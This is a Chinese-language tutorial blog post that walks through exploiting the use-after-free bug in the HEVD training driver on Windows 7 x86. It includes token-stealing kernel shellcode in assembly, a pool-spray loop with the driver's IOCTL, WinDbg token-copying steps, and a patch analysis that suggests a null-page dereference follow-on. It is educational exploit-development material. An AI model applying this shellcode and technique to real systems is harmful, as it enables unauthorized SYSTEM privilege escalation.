0x00: 前言
这是UAF系列的第一篇. 三篇的主要内容如下.
[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-unknown的总结(这个地方有点记混了 月初的工作... 凭感觉记得.. sorry)
[+] 第三篇: windows 10 X64下的UAF
关于第三篇的内容我还没有决定好, 最近在研究CVE-2018-8410, 如果分析的出来的话. 第三篇的内容我会给出CVE-2018-8410的分析报告. 如果失败的话, 我会挑选一下windows 10下的X64的UAF进行分析. 由于win10加了很多缓解措施, 所以那会是一个相当有趣的过程.
博客的内容我是倒着推的, 因为我喜欢有目的性的工作. 所以决定在最后再进行漏洞原理的分析。而原理的探讨主要是通过对补丁的探讨而完成.
在学习的过程中, 我给出了实验相应步骤的动态图. 希望能对您有所帮助.
0x01: 实验环境的搭建
由于是系列的第一节, 所以讲一下环境的搭建, 在经过漫长的犹豫之后, 我决定把环境的搭建制作成为一个gif图, 因为觉得动态的过程更容易理解一些.
Tips: 本次环境的搭建环境. 仅在win7上面适用. win10(win 8 以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.

下面是对环境搭建步骤详解.
1.1 环境要求
[+] 配置支持
调试宿主机: windows 10 X64
目标机子: windows 7 sp1 x86
调试器: windbgx.exe
辅助工具: virtuakD
1.2 第一步
把virtualKD解压到宿主调试机C:\SoftWare, 将宿主机C:/software/target目录复制到target机子C:\下. 最终结果如下:
1.3 第二步
打开target机器下的C:\target\vminstall.exe 点击yes. 电脑重启
1.4 第三步
设置Vmcommon的调试器路径
1.5 第四步
开始调试.
0x02: 漏洞利用
2.1: 思路详解.
在我自己的学习过程中, 我喜欢把自己学的东西切成几大块, 假设为ABCD四个大块, 在B无法理解的情况下, 我能够去弄明白ACD就好.这样即使无法完成此次学习, 我也能保证能在此次的学习过程中得到有用的技能.
让我们来假设一下作为一个对UAF不理解的小白我们会把漏洞的利用过程切为那几个部分.
[+] 编写shellcode(最终目的是为了运行shellcode)
[+] 分析漏洞
[+] 根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).
[+] 触发漏洞
[+] 运行cmd, 验证提权是否成功.
在进行上面的分析之后, 我们可以先做一些比较轻松的部分.
[+] 运行cmd进行验证.
[+] 编写Shellcode
2.2: 运行cmd进行验证.
我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入whoami之后, 就能证明自己提权成功了, 很不幸的, 这是一段漫长的故事. 其实也还是很简单的. 原理如下.
[+] 我们运行了exp, exp记作进程A
[+] EXP里面创建一个cmd子进程, 记作子进程B
[+] 子进程会默认继承父进程的权限
[+] 父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)
2.2.1: 编写创建cmd子进程程序.
这一部分的代码感谢小刀师傅, 来源于他的博客和github. 在他的博客和github上面我学习到了很多的有用的东西.
//创建cmd子进程的代码.
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 创建cmd子进程
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
很多时候, 我觉得有些细节其实是可以不用太在意的. 你可以帮他当作拖油瓶, 只是附带的产物, 比如上面的si的赋值之类的. 让我们关注一下重点函数.
2.2.2: CreateProcessW函数
CreateProcessW创建一个子进程, 在MSDN上面你可以的到详细的解释. 我们列出重要参数的详细解释.
[+] wzFilePath --> 创建的进程名称, cmd
2.2.2: 调用cmd子进程
我们在main函数当中进行调用. main函数现在的代码如下.
// main函数的代码.
int main()
{
xxCreateCmdLineProcess(); //调用cmd
return 0;
}
2.2.3: 运行的结果
运行的结果如下图.

我们发现我们现在的提权没有成功, 这是肯定的. 因为我们并没有进行漏洞的利用.
2.3: 编写shellcode的代码
作为一个有灵魂的内核选手, 这个地方的shellcode我们当然采用汇编编写. 编写之前, 我们继续对我们所学的东西进行分块.
[+] ShellCode目的: 进行提权
[+] 提权手段: 将system进程的Token赋值给cmd
[+] 提权的汇编步骤:
==> 找到system的Token, 记作TokenSys
==> 找到cmd的Token. 记作TokenCmd
==> 实现TokenCmd = TokenSys
2.3.1: ShellCode提权方法的验证.
okok, 作为一个内核选手, 我们深知调试器永远不会骗人. 所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确.
2.3.1.0: 找到System进程的TokenSys
运行如下命令:
!dml_proc
我们能得到关于system如下的结果.
kd> !dml_proc
Address PID Image file name
857bd920 4 System
86357a10 120 smss.exe
86385030 178 csrss.exe
86be3b90 1ac wininit.exe
863e4b68 1b4 csrss.exe
873f1d40 1d8 winlogon.exe
...
解释:
PID:0004 --> system在win7下PID永远为4
PROCESS: 857bd920 -- 进程起始的地址.
接着我们运行如下的命令, 查看system进程的Token.
kd> dt nt!_EX_FAST_REF 857bd920 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f -- value是Token的值.
2.3.1.1: 找到cmd进程的TokenCmd
与找到TokenSys的方法类似, 在虚拟机里面运行一个cmd. 我们可以通过相同的方式找到TokenCmd
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x967ee085 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x967ee085 -- value是Token的值.
2.3.1.2: 进行TokenCmd = TokenSys.
这一部分, 我们采用调试器辅助完成. Token存放在进程偏移f8处, 我们可以把TokenCmd按照如下的命令重新赋值.
ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)
此时我们再对cmd的Token进行解析. 发现Token的值已经和Sytem的Token出奇一致.
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f
此时我们运行cmd的whoami, 进行验证. 这个实验过程动态图如下.

2.3.2: 提权的汇编实现.
汇编实现的整体代码如下. 关键点我会给出注释, 如果你需要更详细的解释, 你可以在这里找到答案. (Tips: 汇编代码只是对我们上面手工做的过程的一次模仿. 别畏惧它)
// 提权的汇编代码.
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h]
mov eax, [eax + 0x50] // 找到_EPROOCESS
mov ecx, eax
mov edx, 4 // edx = system PID
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8]
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
一点小Tips:
[+] ShellCode的原理其实不用太了解, 大多数时候你可以把它当作stdio.h提供给你的printf函数, 直接用就好
[+] 堆栈的平衡建议采用调试解决.
2.3.3: ShellCode的有效性的验证.
调试器无所不能(但是不能帮我找到女朋友...), 我们想要运行shellcode, 如何运行???.
在阅读了源码之后, 我们发现了一个幸福的代码片段.
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
g_UseAfterFreeObject是一个全局变量, 他的定义如下.
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
有趣, 如果我们能够篡改他的函数指针指向ShellCode地址. 那么我们就能在内核当中调用我们的shellcode. 接下来做一个小小的演示
Tips:
这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.
在未篡改之前, g_UseAfterFreeObject的结构长这样.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x87815558 void +ffffffff87815558
+0x004 Buffer : [84]
在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作).
g_UseAfterFreeObject的结构长这样.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x001f1000 void UAF_AFTER_FREE_EXP!ShellCode+0
+0x004 Buffer : [84] "
这样的话, 我们就能够运行shellcode了, 提权成功如图.

2.4: 执行一堆骚操作.
我们前面说过, 后面的内容主要是一堆骚操作. 来执行替换g_UseAfterFree函数指针的功能.
2.4.1: 伪造能够利用的数据
USE AFTER FREE, 从这个名字来看是指在FREE状态后依然能够被使用. 有趣有趣. 那我们来关注一下FREE状态之后如何使用.
在我们从小到大的过程中. 我们知道POOL是动态分配的, 就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗, 明天也是没有巧克力的, 太凄凉了). 你永远也不知道下一块分配的POOL在那个位置.
Wait, 我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释. 在这里我直接给出结论.
[+] 假设想要被分配的POOL的大小是258. 操作系统会去选取最适合258(>=)的空闲POOL位置来存放他.
我们来看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的POOL. 是不是有一定的概率使我们分配后的POOL的刚好是这个地方呢. 答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X, 分配两个是2/X, 不断增加.
[+] n/X -- n是我们请求分配的POOL个数.
最终我们的代码如下.
// 构造美好的数据
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 喷射
for (int i = 0; i < 5000; i++)
{
// 此处的函数用于Pool的分配.
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
2.4.2: 漏洞成因分析(为什么在那个时候我们处于Free状态).
我们到这里其实利用就已经做完了, 但是永远别忘记一件事, 这只是一个练习. 与真正的漏洞分析差的远. 所以我们学的应该不是教程, 而是这一段在实践当中可以帮助我们做些什么.
漏洞成因的分析在我实践的过程中. 有两种手段.
[+] 查阅漏洞发现者的给出的相关资料
[+] 查阅其他人做的分析笔记
[+] 阅读POC
[+] 补丁比对
这个地方我们来模拟补丁比对. 实战当中你可以使用bindiff, 为了让接下来的过程更加的简单. 我们采用源码分析.
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL.
漏洞点: 如果不把它变为NULL, 后续可以继续应用.
这个地方有一个小小的问题, 在下一节我们给出我们的套路.
0x3 总结.
3.1: 补丁的探讨.
我们来对安全的版本进行一点小小的讨论.
[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)
随着思路的推理, 我们的嘴角逐渐浮现出笑容. windows 7 下, 我们可以对申请0地址, 并且填充相应的内容. 假设shellcode地址为0x00410000. 我们通过对0地址进行填充内容.
00000000: 00410000 --> 指向shellcode地址
我们也能顺利执行我们的shellcode. ==> 此处引发了一个空指针解引用漏洞.
OK, 我们验证了这是一个不安全的补丁. 更安全的补丁应该类似于这样
if(g_UseAfterFreeObject != NULL)
{
if(g_UseAfterFreeObject->CallBack)
{
g_UseAfterFreeObject->CallBack();
}
}
很遗憾的, 当我发现这个的时候, 发现创作者已经做了这样一个检测,,,,,
3.2: 关于挖洞的探讨.
在进行这次学习之后, 我有一个小小的猜测. 是否存在可能性, 安全人员在进行uaf漏洞补丁的时候. 忽视了空指针解引用呢.
自己思考的比较简陋的方式:
[+] 补充最新的补丁.
[+] 阅读更新报告, 确定漏洞集
[+] 编写IDAPy, 完成如下的功能.
==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)
==> 检索汇编代码, 确定相邻8 byte - 16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP
3.3: UAF漏洞利用的套路总结.
[+] 原理: 分配的POOL为赋值为NULL, 导致后面可用.
[+] 触发漏洞
[+] 伪造数据(依赖于伪造数据实现shellcode运行)
[+] 调用相关的函数进行堆喷射
[+] CMD验证
3.4: 实验结果验证

0x4: 相关链接.
sakura师傅的博客: http://eternalsakura13.com/
小刀师傅的博客: https://xiaodaozhi.com/
本文EXP地址: https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp
一个大大的博客: https://rootkits.xyz/
shellcode编写: https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/
0x5: 后记
最后, wjllz是人间大笨蛋.
[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~
最后于 2018-9-29 18:56
被wjzid编辑
,原因: